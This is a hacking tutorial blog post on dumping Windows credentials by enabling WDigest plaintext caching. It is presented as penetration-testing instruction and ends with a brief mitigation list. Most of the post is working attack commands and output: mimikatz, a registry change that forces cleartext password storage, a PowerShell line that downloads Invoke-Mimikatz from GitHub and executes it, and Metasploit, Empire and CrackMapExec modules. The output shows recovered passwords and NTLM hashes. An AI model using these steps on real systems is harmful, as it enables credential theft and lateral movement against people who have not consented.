

Credential Dumping: WDigest

 hackingarticles.in/credential-dumping-wdigest

Raj

April 6, 2020

This is our third article in the series of Credential Dumping. In this article, we will manipulate WDigest.dll to retrieve the system credentials. The methods used in this article are for both internal and external penetration testing.

Table of Content:

- Introduction to WDigest
- Working of WDigest.dll
- Manual
- PowerShell
- Powershell via meterpreter
- Metasploit Framework
- PowerShell Empire
- CrackMapExec
- Mitigation
- TL; DR

Introduction to Wdigest

WDigest.dll was launched through Windows XP was specifically crafted for HTTP and SASL authentication. Basically, it's work was to send confirmation of secret keys in order to authenticate the said protocol. The security attributes of NTLM protocol were applied to this DLL file as it's a challenge/response protocol too. WDigest protocol is enabled in Windows XP — Windows 8.0 and Windows Server 2003 — Windows Server 2012 by default, which allows credentials to be saved in clear text in LSAS file. Windows 10, Windows Server 2012 R2 and Windows Server 2016 doesn't have this protocol active. And it also released a patch for earlier versions.

Working of WDigest.dll

As it is a challenge-response protocol, it important to understand how it works. Such protocols demand a validating server that creates a challenge for them. The said challenge has incalculable data. A key is obtained from the user's password which is further used to encrypt the challenge and to craft a response. A reliable service can then validate the user processes by comparing to the encrypted response that is received by the client and if the responses match, then the user is authenticated.

Now that we have understood what exactly a WDigest protocol is and how it works, let's get to practical how to exploit it.

Manual

Our first method to exploit WDigest in to dump the desired credentials is manual. Such a method comes handy in white box pentesting. In this method, download mimikatz and run the following commands :

```
privilege::debug
sekurlsa::wdigest
```

```
.#####. mimikatz 2.2.0 (x64) #18362 Mar  8 2020 18:30:37
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #'  Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug ←
Privilege '20' OK

mimikatz # sekurlsa::wdigest ←

Authentication Id : 0 ; 318970 (00000000:0004ddfa)
Session           : Interactive from 1
User Name         : raj
Domain            : DESKTOP-PIGEFK0
Logon Server      : DESKTOP-PIGEFK0
Logon Time        : 3/31/2020 10:30:19 AM
SID               : S-1-5-21-301266811-631860562-3880156799-1001

    wdigest :
        * Username : raj
        * Domain   : DESKTOP-PIGEFK0
        * Password : (null)

Authentication Id : 0 ; 318926 (00000000:0004ddce)
Session           : Interactive from 1
User Name         : raj
Domain            : DESKTOP-PIGEFK0
Logon Server      : DESKTOP-PIGEFK0
Logon Time        : 3/31/2020 10:30:19 AM
SID               : S-1-5-21-301266811-631860562-3880156799-1001

    wdigest :
        * Username : raj
        * Domain   : DESKTOP-PIGEFK0
        * Password : (null)
```

As you can then see that the result of the above commands didn't bear a fruit because WDigest protocol wasn't active. To activate the said protocol, use the following command:

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1
```

```
Administrator: Command Prompt
Microsoft Windows [Version 10.0.18362.53]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
The operation completed successfully.

C:\Windows\system32>
```

The above command will create a file called **UseLogonCredetnial** in the WDigest folder in the registry and simultaneously sets it binary value to 1 as you can in the image below:

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

	Name	Type	Data
	(Default)	REG_SZ	(value not set)
	Debuglevel	REG_DWORD	0x00000000 (0)
	DigestEncryptionAlgorithms	REG_SZ	3des,rc4
	Negotiate	REG_DWORD	0x00000000 (0)
	UseLogonCredential	REG_DWORD	0x00000001 (1)
	UTF8HTTP	REG_DWORD	0x00000001 (1)
	UTF8SASL	REG_DWORD	0x00000001 (1)

The above step has just enabled WDigest in the system. Which will allow the password to be saved in memory that too in clear texts. And now these passwords can be retrieved sneakily as you will see further in this article.

For now, we need to update the policy that we just entered in the registry using the following command:

```
gpupdate /force
```

```
C:\Windows\system32>gpupdate /force
Updating policy...
```

Now, if you launch mimikatz and run the following commands then you will have the credentials.

```
privilege::debug
sekurlsa::wdigest
```

```

.#####.  mimikatz 2.2.0 (x64) #18362 Mar  8 2020 18:30:37
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX           ( vincent.letoux@gmail.com )
'#####'    > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug ←
Privilege '20' OK

mimikatz # sekurlsa::wdigest ←

Authentication Id : 0 ; 299754 (00000000:000492ea)
Session           : Interactive from 1
User Name          : raj
Domain             : DESKTOP-PIGEFK0
Logon Server       : DESKTOP-PIGEFK0
Logon Time         : 3/28/2020 11:05:03 AM
SID                : S-1-5-21-301266811-631860562-3880156799-1001

wdigest :
* Username : raj
* Domain   : DESKTOP-PIGEFK0
* Password : 123

```

PowerShell

In this method, we will be invoking PowerShell scripts in the system. This script will further help us get our hands on the credentials.

Download WdigestDowngrade.ps1

Simply launch the PowerShell Command Prompt and run the following commands:

```

Import-Module .\WdigestDowngrade.ps1
Invoke-WdigestDowngrade
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

```

```

PS C:\Users\raj\Desktop> Import-Module .\WdigestDowngrade.ps1 ←
PS C:\Users\raj\Desktop> Invoke-WdigestDowngrade ←
PS C:\Users\raj\Desktop> reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential    REG_SZ    1

```

Once the above commands are executed successfully, run the following command to dump the credentials.

```

IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/PostExploitation/Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

```

```

Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/powershell

PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

.mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 304258 (00000000:0004a482)
Session           : Interactive from 1
User Name         : raj
Domain            : DESKTOP-PIGEFK0
Logon Server      : DESKTOP-PIGEFK0
Logon Time        : 4/5/2020 3:06:34 AM
SID               : S-1-5-21-301266811-631860562-3880156799-1001

msv :
[00000003] Primary
* Username : raj
* Domain   : DESKTOP-PIGEFK0
* NTLM     : 3dbde697d71690a769204beb12283678
* SHA1     : 0d5399508427ce79556cda71918020c1e8d15b53
tspkg :
wdigest :
* Username : raj
* Domain   : DESKTOP-PIGEFK0
* Password : 123

```

And as you can see, we got the credentials.

PowerShell via Meterpreter

In this method, we will be invoking PowerShell script in our meterpreter session. This script will further help us get our hands on the credentials. When you have a meterpreter session, run the following commands to create the UseLogonCredential file and make changes in the registry key.

```

reg enumkey -k
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
load powershell
powershell_import /root/Desktop/Invoke-WdigestDowngrade.ps1
powershell_execute Invoke-WdigestDowngrade

```

```

meterpreter > reg enumkey -k HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest ←
Enumerating: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

Values (5):

    Debuglevel
    Negotiate
    UTF8HTTP
    UTF8SASL
    DigestEncryptionAlgorithms

meterpreter > load powershell ←
Loading extension powershell ... Success.
meterpreter > powershell_import /root/Desktop/Invoke-WdigestDowngrade.ps1 ←
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute Invoke-WdigestDowngrade ←
[+] Command execution completed:

meterpreter > reg enumkey -k HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest ←
Enumerating: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

Values (6):

    Debuglevel
    Negotiate
    UTF8HTTP
    UTF8SASL
    DigestEncryptionAlgorithms
    UseLogonCredential
meterpreter > 

```

After the above commands create the UseLogonCredential file as required and then you can launch mimikatz to dump the credentials using the following commands:

Download Invoke Mimikatz.ps1

```

load powershell
powershell_import /root/Invoke-Mimikatz.ps1
powershell_execute Invoke-Mimikatz -CredsDump

```

```

meterpreter > load powershell
Loading extension powershell... Success.
meterpreter > powershell_import /root/Invoke-Mimikatz.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute Invoke-Mimikatz -CredsDump
[+] Command execution completed:

.#####.   mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 304258 (00000000:0004a482)
Session           : Interactive from 1
User Name         : raj
Domain           : DESKTOP-PIGEFK0
Logon Server      : DESKTOP-PIGEFK0
Logon Time        : 4/5/2020 3:06:34 AM
SID               : S-1-5-21-301266811-631860562-3880156799-1001

msv :
[00000003] Primary
* Username : raj
* Domain   : DESKTOP-PIGEFK0
* NTLM     : 3dbde697d71690a769204beb12283678
* SHA1     : 0d5399508427ce79556cda71918020c1e8d15b53
tspkg :
wdigest :
* Username : raj
* Domain   : DESKTOP-PIGEFK0
* Password : 123

```

Metasploit Framework

Our next method is an excellent method to dump the credentials remotely which often a requirement in grey box pentesting. Once you have your meterpreter session via Metasploit, remember to background the session and then you can execute `wdigest_caching` exploit to make the changes in WDigest folder which we just did manually in our previous method by using the following commands:

```

use post/windows/manage/wdigest_caching
set session 1
execute

```

```

meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
Background session 1? [y/N]
msf5 exploit(multi/handler) > use post/windows/manage/wdigest_caching
msf5 post(windows/manage/wdigest_caching) > set session 1
session => 1
msf5 post(windows/manage/wdigest_caching) > exploit

[*] Running module against DESKTOP-PIGEFK0
[*] Checking if the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
[*] Creating UseLogonCredential DWORD value as 1...
[+] WDigest Security Provider enabled
[*] Post module execution completed
msf5 post(windows/manage/wdigest_caching) >

```

Then further use the `load kiwi` module to dump the credentials. For doing so, type :


```
load kiwi
creds_wdigest
```

```
meterpreter > load kiwi
Loading extension kiwi ...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v #'  > http://blog.gentilkiwi.com/mimikatz
'#####'      Vincent LE TOUX          ( vincent.letoux@gmail.com )
                > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > creds_wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
=====

Username          Domain            Password
-----
(null)             (null)            (null)
DESKTOP-PIGEFK0$  WORKGROUP         (null)
raj               DESKTOP-PIGEFK0   123
```

And yes! We got our credentials.

PowerShell Empire

When you have a session through Empire, use the post exploit **wdigest_downgrade** to create the **UseLogonCredential** file in wdigest folder and its registry key value i.e. 1 with the help of following commands:

```
usemodule management/wdigest_downgrade*
execute
```

```
(Empire: EHW7YNL1) > usemodule management/wdigest_downgrade*
(Empire: powershell/management/wdigest_downgrade) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked EHW7YNL1 to run TASK_CMD_WAIT
[*] Agent EHW7YNL1 tasked with task ID 1
[*] Tasked agent EHW7YNL1 to run module powershell/management/wdigest_downgrade
(Empire: powershell/management/wdigest_downgrade) > [*] Agent EHW7YNL1 returned results.
Wdigest set to use logoncredential.
Workstation locked
[*] Valid results returned by
```

Once the above post exploit is executed successfully, you can use another build in post exploit to dump the credentials with the following set of commands:

```
usemodule credentials/mimikatz/command*
set Command sekurlsa:wdigest
execute
```



```

(Empire: 8GNYCWKZ) > usemodule credentials/mimikatz/command*
(Empire: powershell/credentials/mimikatz/command) > set Command sekurlsa::wdigest ←
(Empire: powershell/credentials/mimikatz/command) > execute
[*] Tasked 8GNYCWKZ to run TASK_CMD_JOB
[*] Agent 8GNYCWKZ tasked with task ID 1
[*] Tasked agent 8GNYCWKZ to run module powershell/credentials/mimikatz/command
(Empire: powershell/credentials/mimikatz/command) > [*] Agent 8GNYCWKZ returned results.
Job started: ZL4HYC
[*] Valid results returned by 192.168.1.102
[*] Agent 8GNYCWKZ returned results.
Hostname: WIN-NFMRD37ITKD / S-1-5-21-3008983562-280188460-17735145

.#####. mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
.## ^ ## "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi' ( benjamin@gentilkiwi.com )
'## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***

mimikatz(powershell) # sekurlsa::wdigest ←

Authentication Id : 0 ; 320751 (00000000:0004e4ef)
Session : Interactive from 1
User Name : raj
Domain : WIN-NFMRD37ITKD
Logon Server : WIN-NFMRD37ITKD
Logon Time : 4/5/2020 3:00:34 PM
SID : S-1-5-21-3008983562-280188460-17735145-1000
wdigest :
* Username : raj
* Domain : WIN-NFMRD37ITKD
* Password : 123 ←

Authentication Id : 0 ; 320705 (00000000:0004e4c1)
Session : Interactive from 1
User Name : raj
Domain : WIN-NFMRD37ITKD
Logon Server : WIN-NFMRD37ITKD
Logon Time : 4/5/2020 3:00:34 PM
SID : S-1-5-21-3008983562-280188460-17735145-1000
wdigest :
* Username : raj
* Domain : WIN-NFMRD37ITKD
* Password : 123

```

And after the execution of the above command, you have the credentials.

CrackMapExec

CrackMapExec is a really sleek tool that can be installed with a simple apt install and it runs very swiftly. This tool creates the registry key due to which passwords are stored in memory as discussed previously. It requires a bunch of things.

Requirements:

Username: Administrator

Password: Ignite@987

IP Address: 192.168.1.105

Syntax: crackmapexec smb [IP Address] -u '[Username]' -p '[Password]' -M
wdigest -o ACTION=enable

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable
[~] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slin
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
WDIGEST 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] UseLogonCredential registry key created successfully
```

Read More: [Lateral Movement on Active Directory: CrackMapExec](#)

Mitigation

Following are the steps one can take in order to secure themselves from this scenario:

- Make sure there is no UseLogonCredential file in your system
- If you are using the older versions of windows then make sure that windows updates with the patch
- UseLogonCredential registry key values should be set to 0 to completely disable this protocol.
- Regularly check the registry key value to make sure that you have not been the victim.

TL; DR

Understanding the very basics of your operating systems such as windows, allow you to be more secure in this cyber world. Knowing how endpoints are put together to work perfectly for your convenience is important as a seemingly minor change can make you vulnerable. Such as WDigest saves all the passwords in memory on the clear text which puts the credentials of the user at risk. And this thought made us take a stab on credential dumping by manipulating WDigest. So, through with mimikatz, Metasploit framework and other such tools that we have mentioned above can leverage your credentials both locally and remotely and can even allow the attacker to use them to their advantage. An attacker who is able to get administrator privileges of your system can modify the values in the registry and dump the credentials as shown in the article above using Mimikatz, Metasploit, Empire, and PowerShell scripts.

Author: **Yashika Dhir** is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact [here](#)